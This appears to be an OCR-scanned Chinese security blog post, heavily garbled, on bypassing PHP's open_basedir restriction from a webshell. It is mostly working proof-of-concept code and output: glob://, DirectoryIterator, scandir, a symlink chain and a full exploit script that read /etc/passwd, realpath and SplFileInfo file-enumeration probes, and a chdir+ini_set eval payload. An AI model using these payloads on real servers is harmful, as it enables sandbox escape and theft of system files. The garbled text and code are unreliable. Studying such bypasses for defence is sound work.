M 0 F 3] bypass open_basedir 23 — SEA11H X

ToAFEX, SERZ AL X

===

AU

111

TS Y] php 1HXANR, BEBEER] shell BIADEEE B K. BE M EEILIT LB UESELR LT bypass

open_basedir, $5ILF S R4E T —LE bypass &,

open_basedir

open_basedir ;2 php.ini FE—"NECEIRI, PIBTIEAE/ A0S0 E) B ERFIEEEN XL,

£ php.ini FIZE open_basedir HY{E

' el LdllLe pPIELL>LUV — -~ L

11

12 ; open_basedir, if set, limits all file operations to
the defined directory

13 ; and below. This directive makes most sense if used
in a per-directory

4 ; or per-virtualhost web server configuration file.

15 ; Note: disables the realpath cache

6 ; http://php.net/open-basedir

' open_basedir =/var/www/html/

I8
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19 ; This directive allows you to disable certain
functions for security reasons.|

B ; It receives a comma-delimited list of function
names.

1 ; http://php.net/disable-functions

(https://xzfile.aliyuncs.com/media/upload/picture/20210816225429-dbafe9c0—-feal-1.png)

max_Input_vars Ty Ty
memory_limit 128M 128M
open_basedir Svarfennowhtml/ Svarfernow/htmlf
output buffering 4096 4096

output encoding no value no value

(https://xzfile.aliyuncs.com/media/upload/picture/20210816225432-ddc8e31a—feal-1.png)

1% & open_basedir=/var/www/html/ , BT web THB)RF 2RI ARENRSS 25 LFR T /var/www/html/ XD E FAZMNY

XA
RIZXES EZ—1 webshell, 3 webshell T EEH1EHANEZEVEM B ZIVES KW,

@ =R - o X%
AntSword #&:F #HO &Hd
4 == [0192.168.111.130 3
O BF3E (0) < | Dzl (0) ~
= f OHE ~ +LEE = Rk & IEFE  APE »  fvar/www/ > iEH

= ':iarwww £ =E:E ol =13

| himl
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o I y

Path Not Found Or No Permission!

o 3

Path Not Found Or No Perrmssion!

= {153

(https://xzfile.aliyuncs.com/media/upload/picture/20210816225436-dfb73e56—-feal-1.png)

\

BT R G <L RN

open_basedir NapSHITHRECEEIR, £/ system() HREFL—T

€ (© 192.168.111.130/1.php 2y ¢ @ Q&x wBe ¥ #f
INT ~ = ¢ S0LBASICS- UNION BASED- ERROR/DOUELE QUERY- TOOLS- WAF BYPASS- EMNCODIMNG- HTML- ENCF
@ Lload URL | http://192.168.111.130/1.php

I split URL

¥ Execute

Postdata [ ] Referrer @ OxHEX ™» 4% %URL ™ & EBASEG4 Insert string to replace
Post data shell=system('cd .././:l5";

backups cache crash lib local lock log mail metrics opt run snap spool tmp www
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BE9SE D £ Eh B %, M1 webshell TEABHEEE IEAY, 17 ABHASEBEE 581D

3/ OFiE - ALE CRE AIER  ABE - fay >R
= DJjar g B4 “oih Eit
I www

o ’

Path Not Found Or No Permission!

o i "

Path Not Found Or No Permission!

v v
Path Not Found Or No Permission!

% >
Path Not Found Or No Permission!

(https://xzfile.aliyuncs.com/media/upload/picture/20210816225443-e3d89f70—feal-1.png)

SERERT, T systenO EEET disable function ZFTAER, BT EAITHS RN,
FIF glob:// &&id

glob:// {AtHiY
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glob:// EEHIULELHIAEITIRTIN, glob FUEMBIEEEE PHP 5.3.0 EHBEN.
TEZ B (https://www.php.net/manual/zh/wrappers.glob.php) A9—-1> domo

<?php
// B ext/spl/examples/ BFEFFAE *.php it
/7 FHETEIS R RS
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);

7>

FEME R FL S, IR glob 2ILELTN,
HEBRMEETENE R SR E & T open_basedir 38EM B & I, TBEFIHEFRBIE B R ASMIE R RIS
%, BEASEERHERNE,

FF Directorylterator+glob://

DirectoryIterator ?3%%@%]7——4\E§EﬁE@gaﬁﬁﬂ§E§%§§Z#?%§§fEﬂ5%5@P§%§0
RG0S

<?php

$c = $_GET['c'];

$a = new DirectorylIterator($c);

foreach($a as $f){
echo($f->__toString(). '<br>");


https://www.php.net/manual/zh/wrappers.glob.php

7>

INT ~ = & S0L BASICS-

UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS.

@ Load URL | http://192.168.111.130/3.php?c=glob:///*

I split URL

b Execute

[ ] Postdata [ ] Referrer ™% OxHEX ™ &% %URL ™ 4 BASEG4 |

bin
boot
cdrom
dev
etc
home
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
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snap
Srv
swapfile
Sys

tmp

usr

var

(https://xzfile.aliyuncs.com/media/upload/picture/20210816225504-f0e32938—feal-1.png)
FIA opendir()+readdir()+glob://

opendir TER NFT A EF R
readdir TEFINM B R ORFIZEEF

L0

<?php
$a = $_GET['c'];
if ( $b = opendir($a) ) {
while ( ($file = readdir($b)) !'== false ) {
echo $file."<br>";

%
closedir($b);

REEFIER, php7 pILARBUN N A AIRARRE R XA, glob:///*/www/../* BIFIZES /var
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<« C A =2 192.168.111.130/3.php?c=glob:///*www/../*
2 A {1 MSDN, SRR -.. © SEEA. SEA & 38 —GsouCloud € Whatis ired.team...

backups
cache
crash
lib
local
lock
log
mail
metrics
opt
run
snap
spool
tmp
WWW

(https://xzfile.aliyuncs.com/media/upload/picture/20210816225509-f38b5fde—feal-1.png)
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FIA scandir()+glob://

scandir() PRENATDASIHIEE BT AHFT B R

e+ A@ s e-

@~ &~

mi-a 9 @ ¢ B &

€ O 192.168.111.130/1.php 2 c @ o=
INT ~ = @ SQLBASICS- UNION BASED- ERROR/DQUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI+

@ Load URL [http://192.168.111.130/1.php

& split URL {

b)) Execute

Postdata [] Referrer @ OxHEX 3 &K %URL @ &K BASEGd 3B

g Replace All B ™=

Post data { shell=var_dump(scandir{'globs///*));

array(25) { [0]=> string(3) "bin" [1]=> string(4) "boot" [2]=> string(5) "cdrom” [3]=> string(3) "dev" [4]=> string(3) "etc" [5]=> string(4) "home" [6]=> string(3) "lib" [7]=> string(5) "lib32" [8]=> string(5) "lib64" [9]=> string(6) "libx32" [10]=>
string(10) "lost+found® [11]=> string(5) "media” [12]=> string(3) "mnt" [13]=> string(3) "opt* [14]=> string(4) "proc” [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(4) "snap" [19]=> string(3) "srv" [20]=> string(8)

*swapfile” [21]=> string(3) "sys" [22]=> string(3) "tmp" [23]=> string(3) "usr" [24]=> string(3) "var" }

(https://xzfile.aliyuncs.com/media/upload/picture/20210816225513-f5cf0598—feal-1.png)

XA R BT BAR H & open_basedir 2 H & NI,
FF symlink ged

symlink() BRELBIE—TMIEE BFERIF B TIa897 S

symlink(string $target, string $link): bool

symlink() X F BB/ target B3I —1EH link B9 5%,
M target —fiRIEN N FRF open_basedir,
E 8 domo:

S

.
3L

Zo
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<?php

$target = 'uploads.php';
$link = 'uploads';
symlink($target, $link);

echo readlink($link);
# BEHE "uploads . php XM FEFE

7>

WNSEEEIEEY /etc/passwd poc W

<?php
mkdir("A™);
chdir("A™);
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..™);
chdir("..");
chdir("..");
symlink("A/B/C/D","SD");



symlink("SD/../../../../etc/passwd","POC");
unlink("SD");
mkdir("SD");

7>

1hi0) web f3, KB=AERpFA POC B9

€ @& 192.168.111.130/3.php = ¢ @ Q&=

INT ~ = g 50L BASICS- UNIOMN BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS
=l Load URL http://192.168.111.130/3.php

B split URL

b Execute )

[] Postdata [ ] Referrer 4™ OxHEX ™ 4 %URL ™ 4 BASE64

(https://xzfile.aliyuncs.com/media/upload/picture/20210816225525-fd1e79aa-feal-1.png)
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INT v = @& SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRY!
@ Lload URL |(httpy//192.168.111.130/PO(
% split URL

b Execute

[] Post data [ ] Referrer @& OxHEX ™ &% %URL ™» = BASEGd ™ | /nsert string to replace |:

root:x:0:0:root:/root:/bin/bash

daemon:x:1l:1:daemon: /usr/sbin: /usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games: /usr/games: /usr/sbin/nologin

man:x:6:12:man: /var/cache/man: /usr/shin/nologin

lp:x:7:7:1p:/var/spool/lpd: /usr/sbin/nologin

mail:x:8:8:mail:/var/mail: /usr/sbin/nologin

news:x:9:9:news:/var/spool/news: /usr/sbin/nologin

uucp:x:10:10:uuep: /var/spool/uucp: /usr/sbin/nologin

proxy:x:13:13:proxy:/bin: /usr/sbin/nologin
www—data:x:33:33:www—data:/var/www:/usr/sbin/nologzin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manaser:/var/list:/usr/sbin/nologin

irc:x:39:39:ircd: /var/run/ircd: /usr/sbin/nologin

snats:x:41:41:6nats Buz—Reporting System (admin) :/var/lib/snats:/usr/sbin/nologin
nobody:x:65534:65534 :nobody : /nonexistent: /usr/sbin/nologin
systemd—network:x:100:102:svstemd Network Management,,, :/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,, :/run/systemd:/usr/sbin/nologin


https://xzfile.aliyuncs.com/media/upload/picture/20210816225528-fea2b07a-fea1-1.png

systemd—timesync:x:102:104:systemd Time Synchronization,,,
messagebus:x:103:106: : /nonexistent:/usr/sbin/nologin
syslog:x:104:110: : /home/sy=log: /usr/shin/nologin
_apt:x:105:65534: : /nonexistent:/usr/sbhin/nologin
tss:x:106:111:TPM software =stack,,, :/var/lib/tpm:/bin/false
uuldd x:107:114: : /run/unidd: /usr/sbin/nologin

~AAn o HAA T o o

Srun/systemd: Susr/sbhin/nologin

. |

(https://xzfile.aliyuncs.com/media/upload/picture/20210816225528—-fea2b07a-feal-1.png)
DHT—N poc ITFE:

1. 8l A/B/C/D B, HiREREGE R

2. symlink("A/B/C/D","SD") : BIERFS 3+ SD, 5@ A/B/C/D

3. symlink("SD/../../../../etc/passwd","POC") : SIS POC, $8[6) Sb/../../../. ./etc/passwd [lagg:y)
SD=A/B/C/D, M A/B/C/D../../../../ = /var/ww/html |, 75& open_basedir BIBEH!, BIZERIN,

4. unlink("SD"): MilBREREEFZ SD, FFOIRE—1 XK, K SD tF—1TEIERNBZEFE, Bi4lsE POC, 3ERINE

SD/../../../../etc/passwd , SD/../../../ T2 / var B, /var/../etc/passwd [A3F 0] DLEENE] etc HF Y
passwd, MMAZIE B FIFEIRIE.

XEEEE EEEFMEECZE/LEEFE.

&/aMy E p 4 EXP
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<?php

/* * by phithon * From https://waw.leavesongs.com * detail: http://cxsecurity.com/issue/WLB-2009110068 */
header('content-type: text/plain');

error_reporting(-1);

ini_set('display_errors', TRUE);

printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));

$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');

$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i =1 ; $i < count($paths) - 1 ; $i++){
mkdir($paths[$i]);
chdir($paths[$i]);
%
mkdir($paths[$i]);
for ($i -=1; $i > 0; $i--) {
chdir('..");
3
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == ".."; $i++) {

mkdir($name);



chdir($name);

$j++;

3

for ($i = 0; $i <= $3; $i++) {
chdir('..");

3

$tmp = array_fill(@, $j + 1, $name);
symlink(implode('/", $tmp), '"tmplink');
$tmp = array_fillco, $j, '.."D;

symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');

mkdir('tmplink');

delfile($name);

$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";

echo "\n-------——--—————- content--------------- \n\n";

echo file_get_contents($exp);
delfile('tmplink');

function getRelativePath($from, $to) {
// some compatibility fixes for Windows paths
$from = rtrim($from, '\/') . '/';
$from = str_replace('\\', '/', $from);
$to = str_replace('\\', '/', $to);

$from explode('/', $from);
$to explode('/", $to);
$relPath = $to;

foreach($from as $depth => $dir) {
// find first non-matching dir
if($dir === $to[$depth]) {
// ignore this directory
array_shift($relPath);
} else {



// get number of remaining dirs to $from

$remaining = count($from) - $depth;

if($remaining > 1) {
// add traversals up to first matching dir
$padLength = (count($relPath) + $remaining - 1) * -1;

$relPath = array_pad($relPath, $padlLength, '..');
break;
} else {
$relPath[@] = './' . $relPath[0];
}
}
%
return implode('/', $relPath);

function delfile($deldir){
if (@is_file($deldir)) {
@chmod($deldir,0777);
return @unlink($deldir);
}else if(@is_dir($deldir)){
if(($mydir = @opendir($deldir)) == NULL) return false;
while(false !== ($file = @readdir($mydir)))

{
$name = File_Str($deldir.'/'.$file);
if(($file!=".") && ($file!="..")){delfile($name);}
%
@closedir($mydir);

@chmod($deldir,0777);
return @rmdir($deldir) ? true : false;

function File_Str($string)

{
return str_replace('//','/",str_replace('\\","'/"',$string));



function getRandStr($length = 6) {
$chars = 'abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" ;
$randStr = '';
for ($i = 0; $i < $length; $i++) {
$randStr .= substr($chars, mt_rand(@, strlen($chars) - 1), 1);
}

return $randStr;

FF bindtextdomain # SplFilelnfo /5%

bindtextdomain X &SRB A AV RS, RERELN:

bindtextdomain(string $domain, ?string $directory): stringlfalse

FMARBEETIRE:  bindtextdomain() REBIE —NSH $directory E— 1P HER, B2t $directory FEATRIR
[o] $directory, AFFENRE false,
SplFileInfo PRIZENZEDL,

poC

<?php

printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));
$re = bindtextdomain('xxx"', $_GET['dir']);

var_dump($re);

7>

<?php

printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));
$info = new SplFileInfo($_GET['dir']);
var_dump($info->getRealPath());

7>



R AINTH B BIF AR B IR ENZSA BT |

€ © 192.168.111.130/3.php?dir=/etc/passwc £ ¢ @ Q= ]
INT * = @ S50L BASICS- UNION BASED- ERROR/DOUEBLE QUERY- TOOLS- WAF BYPASS-

& Load URL [192.168.111.130/3.php?dir=/etc/passwd
I split URL

k) Bxecute

[] Postdata [ ] Referrer <& OxHEX 4 o JRL 4 PBASER4 ™M

open_basedir: /var/www/html/
string(11) "/etc/passwd”

(https://xzfile.aliyuncs.com/media/upload/picture/20210816225556-0f7dbdad—fea2—-1.png)

MR ORI A FERSFF=IRE false
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€ (© 192.168.111.130/3.php?dir=/etc/sd = ¢ @ ZE

INT ~ = & 501 BASICS- UNION BASED~ ERROR/DOUBLE QUERY- TOOLS- WAF BY!

= Load URL |[192.168.111.130/3.php?dir=/etc/sd
1§ split URL

b Execute

[ ] Postdata [ ] Referrer 4™L OxHEX ™ &% %URL ™ 48 BAS

open_basedir: /var/www/html/
bool(false)

(https://xzfile.aliyuncs.com/media/upload/picture/20210816225559-1154800b8-fea2-1.png)
XM ERGAFEGH, BEkbBkl, =TS EMEAEEA.

FIF SplFilelnfo::getRealPath() &%

(PHP 5>=5.1.2, PHP 7, PHP 8)

SplFileinfo AR XHAHMEERMK 7 — TS RNE RN REVZ,
FAEH netRentParhcy FAFFFAVV AR ITRIZ  hunace BTERRERE TR 17 F A3 AV VA RZ MM tNETZ )\
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[N N | Y Lnnever v/ 0d J NFTASN T L H U g e [0 VY NN N T T L AN g DN b VAN D TEA I J/NFTNN L e e H g N ANHZIN T D /N

— D INFEENRRZE, &R0 false, [NREENTEEE, mMEMAEEZERZE T open_basedir BT .

A L0 T

<?php
ini_set('open_basedir', dirname(__FILE__));
printf("open_basedir: %s <br/><br/>", ini_get('open_basedir'));
$basedir = 'D:/CSGO/";
$arr = array(Q);
$chars = 'abcdefghijklmnopqgrstuvwxyz0123456789";
for ($i=0; $i < strlen($chars); $i++) {
$info = new SplFileInfo($basedir . $chars[$i] . '<<");
$re = $info->getRealPath();
if ($re) {

echo $re."<br>";

}

}
€ © 127.0.01/2.php oD ¢ @ Qs AR B N
INT ~ = @ S0LBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- EMCRYPTION

& Load URL (127.0.0.1/2.php
1 split URL

b Execute

[] Postdata [ | Referrer 4 OxHEX ™» %™ %URL ¥ &% BASEG4 Insert string to replace| | Inser

open_basedir: D:\phpstudy\phpstudy pro\WWWwW
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DACSGOMibraryfolder.vdf
DACSGO\steam.dll

(https://xzfile.aliyuncs.com/media/upload/picture/20210816225603-140a7786—fea2—1.png)

FF realpath FIH %

PMBE K Windows

realpath() SREREH LIRS, CRIUABSRM./ 3./ SHEDY, B ENBARRRSIEE,
realpath(string $path): stringlfalse

bypass [RIE:

5 FmEREINmMFAH A EM, FEFE T open_basedir WIER T, WMRBINMEAN—DNFENXXHER, =iX[0 false, B2
REHINMEN—TDTTE open_basedir BRIIFRNE, MHLSIRE] file is not within the allowed path(s) , BREET, &
FIRERFIRT R,

BN
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<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'D:/5E/5EClient/';
$file = '';
$chars = 'abcdefghijklmnopgrstuvwxyz@0123456789_";
for ($i=0; $i < strlen($chars); $i++) {
$file = $dir . $chars[$1i] . '<><';

realpath($file);

3

function isexists($errno, $errstr)

{
$regexp = '/File\((.*)\) is not within/';
preg_match($regexp, $errstr, $matches);
if (isset($matches[1])) {

printf("%s <br/>", $matches[1]);

%

3

7>
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http://127.0.0.1/2.php X+

€ O 127.00.1/2.php @y ¢ @ Q== we ¥

INT ~ = @ S0L BASICS- UNIOM BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HI

& LoadURL [127.0.0.1/2php
B split URL

b Execute

[] Postdata [ ] Referrer 4™ OxHEX ™ % %URL ™ 4 BASEGd ™ Insert strin

open_basedir: D:\phpstudy\phpstudy pro\WWW
DASE\SEClient\chrome 100 percent.pak
D:ASE\SEClient\d3dcompiler 47.dll
D:ASE\SEClient\ffmpeg.dll
DASE\SEClient\icudtl.dat
D:ASE\SEClient\libEGL.dII
DASE\5EClient\resources
D:ASE\5EClient\snapshot_blob.bin
DASE\SEClient\Uninstall 5EClient.exe
DASE\SEClient\v8 context snapshot.bin
DASE\5EClient\5EClient.exe
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A chdir 5 ini_set

chdir J§TIFEFUIREFEERBE R, HEUREA

chdir(string $directory): bool

ini_set | IR E php.ini 18, FT&HEITIT php.ini X4, BeEEEE. RARELN:

ini_set(string $option, string $value): stringlfalse

REBERERIVE. XTRNSEMNASTRERE, FEMASERNIRE

bypass [RIE A open_basedir E1HZEMN L 20
DITIRESZE: M PHP [K/EE open_basedir bypass
(https://skysec.top/2019/04/12/ %E4%BB%8EPHP%ES%BA%95%E5%B1%82%E7%9C%8Bopen—basedir-bypass/)

— /) demo, B XAEREI L B &

<?php

echo 'open_basedir: '.ini_get('open_basedir').'<br>";
echo '"GET: '.$_GET['c'].'<br>"';

eval($_GET['c'D);

echo 'open_basedir: '.ini_get('open_basedir');

7>

M)i& payload
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https://skysec.top/2019/04/12/%E4%BB%8EPHP%E5%BA%95%E5%B1%82%E7%9C%8Bopen-basedir-bypass/

mkdir('sub');chdir('sub');ini_set('open_basedir','..");chdir('..");chdir('..");chdir('..");chdir('..");ini_set('open_b
asedir','/");var_dump(scandir('/"));

€ | @ 1270.0.1/2php?c=mkdir('subY;chdir(su & v & @ e ¥ /O 1 - - & P-4 9 © ¢ 0 @
INT ~ @ @& SOLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS+ LFI-

& Lload URL [127.0.0.1/2.php?c=mkdir{'sub’);chdir('sub');ini_set('open_basedir','.");chdir(.")chdir(".);chdir(..);ichdir(.. \iini_set'open_basedir','/)var_dump(scandir(/"));
9 splitURL

+)  Execute

[ Postdata [] Referrer @ OxHEX ™» % %URL 3 ¥ BASEG4 B |."-lse.-'r:-'f-".-r'.;j.' to replace rt replacing 5'*g| Replace All B | ™=

Inse:

I::pen_basedir: D:\phpstudy\phpstudy_pro\Www
GET: mkdir('sub”);chdir(’sub’);ini_set('open_basedir’,"..");chdir("..");chdir("..");chdir("..");chdir("..");ini_set('open_basedir','/");var_dump(scandir('/"));

Warning: mkdir(): File exists in D:\phpstudy\phpstudy pro\WWW\2.nhp(4) : eval()'d code on line 1
array(73) { [0]=> string(12) "SRECYCLE P [1]=> string(9) "010edi*  2]=> string(2) "57" 3]-  string(26) *BANDIZIP-SETUP-STD-X64.EXE" [4]=- string(20)

"BaiduNetd” "“Down' .d" [5]==> st~ ) 2e-Box" [6]== strinc  ‘Bi 17.2" [7]=- » DRk oy string(4® 50" [9]== <+ 6) "Ce ‘o0s"
[10]==stri (17)"C enderCor  “5"[1 == strinn(10) "Ev-  .ning" 2]=» s* ’ + string(9) ¥ sourt L4 [T == strine dea"[17 =
string(3) © JL" [16] - strinc” .doni 207 ST - e=ing(c “Lav o - . ]== st . MNavicat 197 26 "Per b ED
BESE"' J]==stri (17 JC np.zip L== 1 .ng(” . 22]= 25 a PR 1231- .ng(10) "Sock: 4" e g . me
[25]== ring(25) A&/ nelpf ition"  Ls]l= aing o) "Tr = Pt 27, > il Jra" [28]== strir .5) ™ % a4t E

V1.0 " [29]- nc ," Jg"" ,=> IrFing mas’ .zip” g( 0¥ », string(10) "fof- X ng(c < "T

strir  3) "ic 35 a4 ydk-8u 31-0 - 64 T : Al oc a7 17 tring(4y . ibtsc2 H[

[3 :» J@" [ .=  ng(5" - = st 7 Lodei )= =4 ol ST ,=> str. ; = . 1t &

[< ng(8) "pre p"  B]=> s o roxif o A7 L T Loarm” [4° strin~ = string Sl 0 L
"tog At [51]== J4(6) ountu”’ - aing/ vmwar 31— ag(30) "wek' CRFT [5° - string(7) " .Jo8" [5- st o 201
[5 ring(7) "w J16" 7)== - ©xmit (58] o) 'xray_winds amd” o aing )" F" = str “Eaf

st o, v 62 sst ., - el oo aing(m Y UREZT T T = g0t n T s (BF s T aring(31)

i 7 LdfEn Mﬂﬁ.zip" [66]=> sl
striv. ,16) "1EA" [72]=> string(6) "2L" ; upen_basedir: /

=" 8- z _ |69]=> strin_ s T " > string’ & [T1]=>

(https://xzfile.aliyuncs.com/media/upload/picture/20210816225620-1daba990-fea2-1.png)
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%1% L5 Bypass open_basedir B9753%
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basedir%E7%9A%84%E6%96%B9%E6%B3%95/)

PHP bypass open_basedir (http://diego.team/2020/07/28/PHP-bypass—open_basedir/)

phpb EASHT open_basedir EEXAERIAS (https://www.leavesongs.com/bypass—open—basedir—readfile.ntml)
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